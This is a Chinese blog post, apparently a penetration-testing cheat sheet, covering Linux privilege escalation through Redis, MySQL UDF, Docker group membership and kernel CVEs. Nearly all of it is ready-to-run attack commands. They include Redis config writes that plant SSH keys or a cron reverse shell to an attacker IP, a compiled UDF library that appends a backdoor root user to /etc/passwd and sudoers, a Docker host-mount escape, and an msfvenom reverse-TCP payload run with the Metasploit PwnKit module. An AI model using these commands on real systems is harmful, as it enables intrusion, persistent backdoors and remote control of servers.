内网提权|Redis提权

一、Redis 提权

提权前提
  1. Redis 以 root 用户运行
  2. 关闭安全检测
  3. 端口(默认 6379)可探测
  4. 密码为空 / 可爆破
  5. 可修改 dir/dbfilename 配置
  6. 可执行 save 持久化操作(核心:利用持久化生成自定义文件)
方式 1:公私钥认证提权

表格

步骤 操作命令 说明
1 ssh-keygen(三次回车) 攻击主机生成公私钥
2 编辑 pub.txt,格式:\n\n公钥内容\n\n 公钥前后加空行避免 Redis 存储格式问题
3 redis-cli -h 靶机IP -p 端口 -a 密码 -x set hacker < /pub.txt 将公钥写入 Redis(Windows 用 CMD 执行)
4 登录 Redis 执行:config set dir /root/.ssh/``config set dbfilename authorized_keys``save 修改 Redis 持久化路径为 SSH 认证目录,生成 authorized_keys
5 ssh -i 私钥文件 root@靶机IP 免密登录靶机获取 root 权限
方式 2:定时任务 shell 反弹提权

表格

步骤 操作命令 说明
1 编辑文件,内容:\n\n*/1 * * * * bash -i >& /dev/tcp/攻击机IP/8888 0>&1\n\n 写入每分钟执行的反弹 shell 定时任务
2 redis-cli -h 靶机IP -p 端口 -a 密码 -x set hacker < 文件名 将定时任务写入 Redis
3 登录 Redis 执行:config set dir /var/spool/cron/``config set dbfilename root``save 持久化生成 root 用户的定时任务文件
4 nc -lvnp 8888(攻击机) 监听端口,等待靶机反弹 shell
方式 3:EXP 工具提权(Kali 攻击机)
工具 1:redis-rogue-getshell
  1. 生成 exp.so: bash

    运行

    复制代码
    tar -zxvf RedisExp.tar.gz
    cd RedisExp
    make  # 生成exp.so
  2. 使用工具: bash

    运行

    复制代码
    tar -zxvf redis-rogue-getshell.tar
    cd redis-rogue-getshell
    cp ../RedisExp/exp.so ./  # 复制exp.so到工具目录
    # 执行攻击(示例)
    python redis-master.py -r 192.168.88.66 -p 6379 -L 192.168.88.222 -P 21198 -f exp.so -c "chmod a+s /usr/bin/find" -a 666888
工具 2:redis-rce
  1. 生成 exp.so(同 redis-rogue-getshell)

  2. 使用工具: bash

    运行

    复制代码
    tar -zxvf redis-rce.tar.gz
    cd redis-rce
    cp ../RedisExp/exp.so ./
    pip3 install -r requirements.txt  # 安装依赖
    # 执行攻击(示例)
    python redis-rce.py -r 192.168.88.66 -p 6379 -L 192.168.88.222 -P 21198 -f exp.so -a 666888
    • 交互选项:i(交互式 shell)、r(反弹 shell)、e(退出)

二、MySQL UDF 提权

UDF 定义

用户自定义函数(User Defined Function),通过扩展库(Linux:.so,Windows:.dll)添加执行系统命令的函数实现提权。

提权条件
  1. 掌握 MySQL 账号密码并能登录
  2. secure_file_priv值为空(MySQL 有读写文件权限)
  3. MySQL 以 root 用户运行
  4. 知道扩展库路径:MySQL>5.1:/lib/plugin(默认无,需手动创建);MySQL<5.1:C:\windows\/C:\windows\system32
提权步骤
1. 信息收集

bash

运行

复制代码
# 查看MySQL运行用户
ps aux | grep mysql
# 登录MySQL查看配置
show global variables like 'secure_file_priv';  # 需为空
show global variables like '%plugin%';         # 查看plugin目录
select version();                              # 查看MySQL版本
2. 生成 UDF 扩展库(Kali→靶机)

bash

运行

复制代码
# Kali端:查找并下载EXP
searchsploit mysql udf
searchsploit mysql udf -m 1518.c  # 下载1518.c到当前目录
python -m http.server 8989        # 开启HTTP服务

# 靶机端:下载并编译
curl http://攻击机IP:8989/1518.c -o /tmp/1518.c
gcc -g -c 1518.c -fPIC            # 生成1518.o
gcc -g -shared -Wl,-soname,hacker.so -o hacker.so 1518.o -lc  # 生成hacker.so
3. 转移扩展库到 plugin 目录(利用 MySQL 读写权限)

sql

复制代码
-- 登录MySQL执行
create table mysql.hacker(line blob);  # 新建表
insert into mysql.hacker values(load_file('/tmp/hacker.so'));  # 读取so文件到表
select * from mysql.hacker into dumpfile '/opt/lampp/lib/mysql/plugin/hacker.so';  # 写入plugin目录
drop table mysql.hacker;  # 清理痕迹
4. 利用 UDF 提权(任选其一)

sql

复制代码
-- 创建自定义函数
create function do_system returns integer soname 'hacker.so';

-- 方式1:环境变量提权
select do_system('cp /usr/bin/bash /tmp/king');
select do_system('chmod u+s /tmp/king');
-- 反弹shell后执行:/tmp/king -p (获取root)

-- 方式2:SUID提权
select do_system('chmod u+s /usr/bin/find');
-- 反弹shell执行:find /etc/shadow -exec bash -i >& /dev/tcp/攻击机IP/8888 0>&1 -p \;

-- 方式3:新增root用户
select do_system('echo "waf:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >> /etc/passwd');
select do_system('echo "waf ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers');
-- 远程登录:ssh waf@靶机IP(密码:password@123)

-- 清理痕迹
drop function do_system;
关键区别
  • outfile:多行写入,带格式(不适合二进制文件)
  • dumpfile:单行写入,无格式(适合二进制文件)

三、Docker 提权

提权前提

普通用户加入 docker 用户组(管理员执行过groupadd docker && gpasswd -a 用户名 docker)。

信息收集

bash

运行

复制代码
cat /etc/group | grep docker  # 查看docker组用户
docker images                 # 验证是否有权限操作docker(无权限报错则不可用)
方式 1:特权模式敏感文件映射

bash

运行

复制代码
# 1. 加载镜像(无外网则本地加载)
docker load -q < /redis-5.0.4.tar

# 2. 启动容器,挂载宿主机/etc目录(特权模式)
docker run --name myredis -it --privileged=true -v /etc:/etc 镜像ID /bin/bash

# 3. 容器内操作(root权限)
# 查看敏感文件
cat /etc/passwd
cat /etc/shadow
# 添加root用户
echo "ips:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >> /etc/passwd
echo "ips ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

# 4. 远程登录
ssh ips@靶机IP  # 密码:password@123
方式 2:特权模式三方镜像提权

bash

运行

复制代码
# 1. 拉取/加载镜像
docker pull docker.io/chrisfosterelli/rootplease
# 或本地加载:docker load -q < /tmp/rootplease.tar

# 2. 启动容器,挂载宿主机根目录
docker run -it --privileged=true -v /:/hostOS 镜像ID

# 3. 添加root用户(同方式1)
echo "ids:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >> /etc/passwd
echo "ids ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

# 4. 远程登录
ssh ids@靶机IP  # 密码:password@123

四、CVE 系统漏洞提权

核心原理

利用操作系统内核内存溢出漏洞提权,适用于无第三方软件可利用的场景。

提权步骤

bash

运行

复制代码
# 1. 生成木马(Kali)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=6969 -f elf -o mua_6969.elf

# 2. 靶机下载并运行木马
python -m http.server 8989  # Kali开启HTTP服务
curl http://攻击机IP:8989/mua_6969.elf -o /tmp/mua_6969.elf  # 靶机下载
chmod a+x /tmp/mua_6969.elf  # 授权
./mua_6969.elf &             # 后台运行

# 3. MSF接收session
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 攻击机IP
set LPORT 6969
run  # 接收session

# 4. 后台运行session并枚举可利用漏洞
bg  # 前台转后台
sessions  # 查看session ID
use post/multi/recon/local_exploit_suggester
set session 1  # 替换为实际session ID
run  # 枚举可利用的CVE漏洞

# 5. 利用漏洞提权(示例)
use linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session 1
run  # 获取root权限
注意事项
  • 内核版本:3.10.0-957.el7/x86_64、3.10.0-514.el7/x86_64 易复现;3.10.0-1160.71.1.el7.x86_64 难复现。
  • 部分 payload 为一次性,失效需重新执行。

五、Linux 提权辅助工具

工具 1:linux-smart-enumeration

bash

运行

复制代码
# 下载
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh
chmod 700 lse.sh
# 运行
./lse.sh
工具 2:linPEAS

bash

运行

复制代码
# 直接运行
curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh > result.txt  # 输出到文件,可转HTML查看

# 作为MSF模块安装
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb
# MSF中使用:use post/multi/gather/peass
常用 CVE 漏洞参考
  1. CVE-2021-4034(Polkit 本地提权):https://www.wangan.com/p/7fy7f49d2c69eb2a
  2. CVE-2022-23222(eBPF 提权):https://segmentfault.com/a/1190000042038200
  3. CVE-2022-0847(Dirty Pipe 脏管道):https://blog.csdn.net/qq_49091880/article/details/124116262

总结

  1. Redis 提权核心是利用持久化生成自定义文件(SSH 认证文件 / 定时任务),EXP 工具可简化操作;
  2. MySQL UDF 提权依赖读写权限,通过编译扩展库添加系统命令函数实现提权;
  3. Docker 提权利用普通用户的 docker 组权限,通过特权容器挂载宿主机敏感目录实现;
  4. CVE 提权需先枚举系统漏洞,再利用对应 EXP 提权,辅助工具可快速定位提权点。
相关推荐
隐退山林2 小时前
JavaEE初阶:网络原理之TCP/IP协议(一)
服务器·网络·tcp/ip
文刀竹肃2 小时前
Upload-Labs 第1至第10关通关教程(更新中。。。)
网络·安全·web安全·网络安全
GIOTTO情2 小时前
游戏行业舆情处置技术实战:Infoseek 字节探索系统架构与 Python 落地脚本
网络·安全
流水迢迢lst2 小时前
靶场练习day12--SSRF
服务器·网络·安全
Reuuse2 小时前
【网络基础概念】
开发语言·网络·php
网硕互联的小客服2 小时前
网站出现Deprecated: Function的解决方法?
运维·服务器·网络·安全·ssh
爱吃生蚝的于勒2 小时前
【Linux】网络基础(一)
linux·运维·服务器·网络·后端·算法·架构
HalvmånEver2 小时前
Linux:初始网络(下)
linux·运维·网络·学习
DianSan_ERP13 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet